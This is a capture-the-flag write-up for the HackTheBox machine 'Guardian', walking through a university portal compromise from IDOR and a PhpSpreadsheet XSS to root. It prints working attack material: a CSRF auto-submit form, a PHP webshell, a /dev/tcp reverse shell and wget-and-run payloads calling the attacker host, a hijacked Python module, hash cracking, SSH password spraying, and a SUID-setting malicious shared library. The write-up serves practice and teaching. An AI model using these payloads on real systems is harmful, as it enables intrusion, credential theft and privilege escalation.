Guardian
Overview
Guardian is a HackTheBox machine centered around a fictional university web portal. The attack chain begins with subdomain enumeration and a default credential disclosed in a publicly accessible PDF. An IDOR vulnerability in the portal's chat functionality leaks credentials for a Gitea instance, which exposes the portal's source code. A known XSS vulnerability in PhpSpreadsheet (CVE-2025-22131) is leveraged to steal a privileged session cookie, and a CSRF token reuse flaw allows forging admin account creation via a malicious notice link reviewed by an automated headless browser. With admin access, a PHP filter chain delivers RCE and a reverse shell. Database credentials extracted from the source code enable cracking hashed passwords, one of which grants SSH access. Lateral movement is achieved by hijacking a Python module imported by a sudo-permitted script. Finally, privilege escalation abuses an Apache binary that loads configuration from a user-controlled directory, using a malicious shared library to set the SUID bit on /bin/bash.
Key techniques:
- Subdomain and directory enumeration
- Default credentials from public documentation
- IDOR (Insecure Direct Object Reference) in chat
- Source code disclosure via Gitea
- XSS via CVE-2025-22131 (PhpSpreadsheet)
- Session hijacking
- CSRF token reuse
- PHP filter chain RCE
- Password hash cracking (SHA-256 with salt, hashcat mode 1410)
- Python module hijacking for lateral movement
- Malicious Apache shared library for privilege escalation
Recon
Port Scan
We begin with a standard nmap scan to identify open services, running both a default script/version scan and a full port scan in parallel:
sudo nmap -sC -sV -vv -oA tcp 10.129.237.248 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.237.248The scan reveals a web server and SSH. The web server response headers or page content discloses the hostname guardian.htb, which we add to /etc/hosts.
Subdomain Enumeration
With a hostname identified, we run ffuf to brute-force virtual host subdomains using a common wordlist, filtering out responses with 10 lines (the default 404 page size):
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.guardian.htb" -u http://guardian.htb -fl 10We discover the subdomain portal.guardian.htb, which we also add to /etc/hosts.
Main Website Enumeration
Browsing guardian.htb, we notice the site discloses what appear to be student ID-formatted email addresses. These follow a pattern that suggests they double as usernames:
We run directory brute-force on the main site but find nothing of interest:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://guardian.htb/FUZZ -ic -e .phpPortal Directory Enumeration
Shifting focus to the student portal, we run the same brute-force against portal.guardian.htb:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://portal.guardian.htb/FUZZ -ic -e .phpThe scan uncovers a static downloads directory. Browsing it reveals a PDF student guide publicly accessible at:
http://portal.guardian.htb/static/downloads/Guardian_University_Student_Portal_Guide.pdf
The guide contains the default student password: GU1234
Initial Access to the Portal
Recalling the email addresses found on the main site, we extract the user ID portions:
GU0142023
GU6262023
GU0702025We test each against the portal login with the default password GU1234. The first ID, GU0142023, successfully authenticates.
Once logged in, we find two notable features: a file upload function and a messaging/chat system:
IDOR in Chat Functionality
Examining the chat feature, we notice the URL includes a user ID parameter. By modifying the ID value, we can read chat messages belonging to other users - a classic IDOR vulnerability. Iterating through user IDs reveals a conversation that leaks credentials for another user:
jamil.enockson:DHsNnk3V503
The chat also references a Gitea instance.
Gitea
We confirm gitea.guardian.htb is accessible and resolvable:
The full name jamil.enockson doesn't work as a Gitea username, but the short form jamil does, and the same password grants access:
Inside Gitea we find conversations/links exchanged between students and teachers:
Source Code Disclosure
Jamil's Gitea account contains a repository with the full source code of portal.guardian.htb. We download a local copy for review:
Inspecting the configuration file, we find a MySQL password and a password salt used for hashing:
- MySQL password:
Gu4rd14n_un1_1s_th3_b3st - Salt:
8Sb)tM1vs1SS
The code confirms the salt is appended to passwords before hashing, giving us the format needed for cracking later:
Reviewing the lecturer-facing code, we find view-submission.php which renders uploaded .docx and .xlsx files directly in the browser using PhpSpreadsheet:
Foothold
XSS via CVE-2025-22131 (PhpSpreadsheet)
A known stored XSS vulnerability exists in PhpSpreadsheet that can be triggered when an .xlsx file is rendered server-side:
https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx
We use a public PoC to generate a malicious spreadsheet:
https://github.com/ZzN1NJ4/CVE-2025-22131-PoC/tree/main
We upload bad.xlsx through the student file submission portal and receive a callback to our listener, confirming the XSS fires when a lecturer views the submission:
We weaponize the XSS payload to exfiltrate the lecturer's session cookie. Replacing our session cookie with the stolen one grants us access to the lecturer interface:
CSRF Token Reuse to Create an Admin Account
Reviewing the source code, we notice the CSRF token implementation is fundamentally broken. Tokens are stored in a shared pool and never invalidated after use - any valid token can be reused indefinitely by anyone:
<?php
$global_tokens_file = __DIR__ . '/tokens.json';
function get_token_pool()
{
global $global_tokens_file;
return file_exists($global_tokens_file) ? json_decode(file_get_contents($global_tokens_file), true) : [];
}
function add_token_to_pool($token)
{
global $global_tokens_file;
$tokens = get_token_pool();
$tokens[] = $token;
file_put_contents($global_tokens_file, json_encode($tokens));
}
function is_valid_token($token)
{
$tokens = get_token_pool();
return in_array($token, $tokens);
}As a lecturer, we can create notices with a reference_link field. The source code indicates notices are reviewed by an admin bot running a headless Chrome instance. When we post a notice linking to our server, we receive a callback confirming the bot visits the URL:
The user-agent confirms it is headless Chrome - not a script - meaning it will execute JavaScript and submit forms.
We create a notice containing a link to a malicious HTML page hosted on our machine. The CSRF token we obtained from our own lecturer session is still valid (due to the reuse flaw), so we embed it directly in the forged form:
POST /lecturer/notices/create.php HTTP/1.1
Host: portal.guardian.htb
Content-Length: 123
Cache-Control: max-age=0
Origin: http://portal.guardian.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Referer: http://portal.guardian.htb/lecturer/notices/create.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=jfhijb5pj61vnajsjmmt2o6n58
Connection: keep-alive
title=test&content=test&reference_link=http%3A%2F%2F10.10.14.48%3A8443%2Ft.html&csrf_token=96a1139f934d71462a68c16af571ede1The admin bot fetches the link and auto-submits the form:
Our malicious HTML page silently POSTs a form to admin/createuser.php, creating a new admin-role user with our chosen credentials:
<html>
<head>
</head>
<body>
<form method="POST" class="space-y-4" id="syk0" action="http://portal.guardian.htb/admin/createuser.php">
<div>
<label class="block text-sm font-medium text-gray-700">Username</label>
<input type="text" name="username" value="syk0">
</div>
<div>
<label class="block text-sm font-medium text-gray-700">Password</label>
<input type="password" name="password" value="syk0">
</div>
<div>
<label class="block text-sm font-medium text-gray-700">Full Name</label>
<input type="text" name="full_name" value="syk0">
</div>
<div>
<label class="block text-sm font-medium text-gray-700">Email</label>
<input type="email" name="email" value="[email protected]">
</div>
<div>
<label class="block text-sm font-medium text-gray-700">Date of Birth (YYYY-MM-DD)</label>
<input type="date" name="dob" value="1957-01-01">
</div>
<div>
<label class="block text-sm font-medium text-gray-700">Address</label>
<textarea name="address" rows="3">Naaaaaaaaaaa</textarea>
</div>
<div>
<label class="block text-sm font-medium text-gray-700">User Role</label>
<input type="text" name="user_role" value="admin">
</div>
<input type="hidden" name="csrf_token" value="1ff6871d9d58ec0b78598770ecc6ffdc">
<div class="flex justify-end">
<button type="submit" class="bg-indigo-600 text-white px-4 py-2 rounded-lg hover:bg-indigo-700">
Create User
</button>
</div>
</form>
<script>
document.getElementById('syk0').submit()
</script>
</body>
</html>We can now log into the portal as an admin:
Inside the admin panel we can see all users and their roles. Both Jamil and Mark are also admins, making them high-value targets for credential extraction:
PHP Filter Chain RCE
With admin access to the portal, we leverage a PHP filter chain attack to achieve remote code execution. The technique uses PHP's php://filter wrapper with chained conversion filters to generate arbitrary PHP code without writing files directly.
We use the php_filter_chain_generator tool to construct a chain that downloads a simple PHP webshell:
python3 php_filter_chain_generator.py --chain '<?php system("wget http://10.10.14.48:8443/t.php"); ?> 'Our webshell (t.php) checks for a cmd parameter and executes it:
<?php
if (isset($_REQUEST['cmd'])){
echo '<pre>';
print_r(system($_REQUEST['cmd']));
echo '</pre>';
} else {
echo 'syk0';
}
?>Once the filter chain payload is executed via the admin panel, the server fetches our webshell. We confirm code execution by accessing t.php directly:
Reverse Shell
We host a bash reverse shell script (t.sh) on our machine and use the webshell to fetch, chmod, and execute it:
t.sh
/bin/bash -i >& /dev/tcp/10.10.14.48/8443 0>&1We send the commands via separate POST requests:
POST /admin/t.php HTTP/1.1
Host: portal.guardian.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=jfhijb5pj61vnajsjmmt2o6n58
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
cmd=wget http://10.10.14.48:8444/t.sh -O /tmp/tt.sh
cmd=chmod 777 /tmp/t.sh
cmd=bash /tmp/t.sh &We now have a shell as the web server user.
Database Hash Extraction and Cracking
Using the MySQL credentials found in the source code, we dump all user records from the database:
mysql -uroot -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb -e "select * from users"We extract the password hashes and append the salt (8Sb)tM1vs1SS) to each in the format hashcat expects for SHA-256 with a salt (mode 1410 - hash:salt):
694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SS
1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6:8Sb)tM1vs1SS
7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61:8Sb)tM1vs1SS
4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471:8Sb)tM1vs1SS
23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6:8Sb)tM1vs1SS
c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2:8Sb)tM1vs1SS
9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75:8Sb)tM1vs1SS
ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4:8Sb)tM1vs1SS
18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3:8Sb)tM1vs1SS
b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a:8Sb)tM1vs1SShashcat -m 1410 -a 0 hashes /mnt/hgfs/I/data/rockyou.txtTwo hashes crack successfully:
c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6:8Sb)tM1vs1SS:fakebake000SSH Access
We build a username list from the known admin accounts (jamil, mark) and combine both cracked passwords into a password file. We then use nxc (NetExec) to spray credentials over SSH:
nxc ssh guardian.htb -u users -p passOne credential pair works and gives us SSH access to the machine.
Post-Exploitation Enumeration
We transfer and run linpeas.sh to enumerate privilege escalation paths:
./lp.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regexLinpeas reveals that user jamil is permitted to run a Python utility script as mark via sudo:
/opt/scripts/utilities/utilities.py
The script exposes four administrative actions and enforces user-based access control internally using getpass.getuser():
#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()The system-status action has no user check - it runs for anyone. It calls status.system_status() from the utils/status.py module:
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")We also observe services listening on internal ports that may be relevant for privilege escalation:
Lateral Movement
Since jamil can execute the utilities script as mark via sudo, and status.py is writable by our current user, we can hijack the module by injecting malicious code into it. We modify status.py to download and execute another reverse shell when system_status() is called:
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
os.system("wget http://10.10.14.48:8444/t.sh -O /tmp/tt.sh")
os.system("chmod +x /tmp/tt.sh")
os.system("bash /tmp/tt.sh &")We trigger the payload by invoking the script with sudo as mark:
sudo -u mark /opt/scripts/utilities/utilities.py system-statusThis executes our injected commands as mark, giving us a reverse shell as that user.
Privilege Escalation
Sudo Enumeration
Running sudo -l as mark reveals a no-password sudo entry for an unknown binary:
Analyzing the Binary
Testing the binary's behavior, we discover it loads Apache-style configuration files from /home/mark/confs/*.conf. This directory is under mark's home folder, which we control:
Malicious Apache Module
We craft a minimal C shared library with a constructor attribute, ensuring _syk0() executes automatically when the library is loaded. It copies /bin/bash to /tmp/bsha1 and sets the SUID bit on it:
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
static void __attribute__((constructor)) _syk0(void);
static void _syk0(void) {
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
system("cp /bin/bash /tmp/bsha1");
system("chmod u+s /tmp/bsha1");
}We transfer the source to the target and compile it as a position-independent shared object with Apache headers available:
gcc -fPIC -shared -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1 copy.c -o mod_example.soWe create a minimal Apache-style config file that instructs the binary to load our module:
LoadModule copyTest /home/mark/mod_example.soWe place this as /home/mark/confs/test.conf and run the sudo binary. It parses our config and loads mod_example.so as root, triggering the constructor and creating a SUID bash copy:
We escalate to root by invoking the SUID bash with the -p flag (preserve effective UID) and retrieve the root flag:

